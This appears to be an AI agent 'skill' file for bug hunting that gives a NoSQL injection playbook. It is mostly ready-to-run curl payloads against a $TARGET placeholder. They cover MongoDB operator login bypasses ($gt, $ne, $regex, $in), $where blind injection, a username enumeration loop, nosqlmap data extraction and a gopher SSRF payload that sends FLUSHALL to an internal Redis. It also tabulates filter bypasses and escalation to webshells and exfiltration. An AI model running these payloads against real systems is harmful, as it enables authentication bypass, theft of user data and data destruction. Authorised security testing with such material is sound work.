Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-nosqli
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
Highest-value chains:
{"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
| Signal | Vector |
|--------|--------|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
| Defense | Bypass |
|---------|--------|
| JSON.parse rejects objects | Use array: password[$ne]=x (URL params) |
| Sanitizes $ | Unicode: $gt |
| Blocks operator keys | Nested objects deeper in structure |
| NoSQLi finding | Chain to | Impact |
|---------------|----------|--------|
| Auth bypass | Admin panel access | Full admin control |
| User enum via regex | Credential stuffing | Mass ATO |
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |
✅ Auth bypass: logged in without valid credentials, received valid session token
✅ Data dump: returned users/documents you shouldn't have access to
✅ Blind injection: confirmed via time-delay (>4 seconds consistent)
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